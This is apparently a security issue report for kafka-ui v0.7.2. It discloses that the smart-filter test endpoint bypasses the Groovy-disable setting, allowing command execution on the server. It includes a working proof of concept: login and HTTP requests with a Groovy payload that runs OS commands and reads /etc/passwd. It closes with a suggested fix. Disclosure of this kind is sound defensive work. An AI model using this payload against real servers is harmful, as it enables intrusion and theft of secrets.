Groovy guard bypass RCE in executeSmartFilterTest (v0.7.2)
Issue submitter TODO list
- I've looked up my issue in FAQ
- I've searched for an already existing issues here
- I've tried running
master-labeled docker image and the issue still persists there - I'm running a supported version of the application which is listed here
Describe the bug (actual behavior)
reported via email on 25 May 2026 and 15 June 2026 - no response.
I am reporting a security vulnerability in kafka-ui affecting the latest release v0.7.2. The vulnerability allows any authenticated user to execute arbitrary operating system commands on the server, bypassing the filtering.groovy.enabled security control that was introduced to prevent Groovy-based code execution.
Summary
The PUT /api/smartfilters/testexecutions endpoint executes arbitrary Groovy scripts without checking the filtering.groovy.enabled property. When an administrator sets filtering.groovy.enabled=false (the default) to disable Groovy script execution, the restriction only applies to the message filtering endpoint (GET /api/clusters/.../messages). The testexecutions endpoint is not guarded by this check and will execute any Groovy script regardless of the setting. This allows any authenticated user to achieve remote code execution on the server.
Technical Details
The vulnerability is in MessagesController.java. The executeSmartFilterTest method (line 75) does not call checkIfFilteringGroovyEnabled(), while getTopicMessages does. The method passes the attacker-supplied filterCode directly to MessageFilters.createMsgFilter() with type GROOVY_SCRIPT, which compiles and evaluates it using GroovyScriptEngineImpl.
Relevant source locations: kafka-ui-api/src/main/java/com/provectus/kafka/ui/controller/MessagesController.java, line 75 kafka-ui-api/src/main/java/com/provectus/kafka/ui/service/MessagesService.java, line 86 kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java, line 41
Expected behavior
No response
Your installation details
Steps to reproduce
PoC
The following demonstrates the vulnerability on a kafka-ui instance with AUTH_TYPE=LOGIN_FORM and FILTERING_GROOVY_ENABLED=false (default):
Step 1: Log in to obtain a session cookie.
POST /auth HTTP/1.1 Host: target:8080 Content-Type: application/x-www-form-urlencoded
username=admin&password=admin_password
Step 2: Confirm that the guard blocks the normal message filter path (expected behavior).
GET /api/clusters/local/topics/test/messages?filterQueryType=GROOVY_SCRIPT&q=1%3D%3D1&seekType=BEGINNING HTTP/1.1 Host: target:8080 Cookie: SESSION=<session_cookie>
Response: {"message":"Groovy filters is not allowed..."}
Step 3: Bypass the guard and execute an OS command via the testexecutions endpoint.
PUT /api/smartfilters/testexecutions HTTP/1.1 Host: target:8080 Cookie: SESSION=<session_cookie> Content-Type: application/json
{"filterCode":"throw new Exception(["id"].execute().text)","key":"k","value":"v","timestampMs":1000}
Response: {"result":null,"error":"Execution error : java.lang.Exception: uid=100(kafkaui)..."}
The output of the id command is returned in the error field, confirming OS-level code execution. Any OS command can be substituted. File system reads such as new File("/etc/passwd").text also work.
Impact
Any authenticated user (no admin role required) can:
- Execute arbitrary commands on the kafka-ui server
- Read all files accessible to the kafka-ui process, including Kafka SSL certificates and secrets
- Pivot to internal Kafka brokers, Schema Registry, and Kafka Connect services
This is distinct from CVE-2023-52251 (unauthenticated, different endpoint), CVE-2024-32030 (JMX deserialization), and CVE-2026-5562 (missing validateAccess on same endpoint). The specific impact here is that the filtering.groovy.enabled=false security control added in v0.7.2 is bypassed.
Affected Versions
All versions up to and including v0.7.2 (latest).
Suggested Fix
Add a call to dynamicConfigOperations.checkIfFilteringGroovyEnabled() at the beginning of the executeSmartFilterTest method in MessagesController.java, before delegating to MessagesService.execSmartFilterTest(). Additionally, consider adding validateAccess() with appropriate topic permissions to ensure RBAC policies are enforced.
Screenshots
No response
Logs
No response
Additional context
No response
Source: provectus/kafka-ui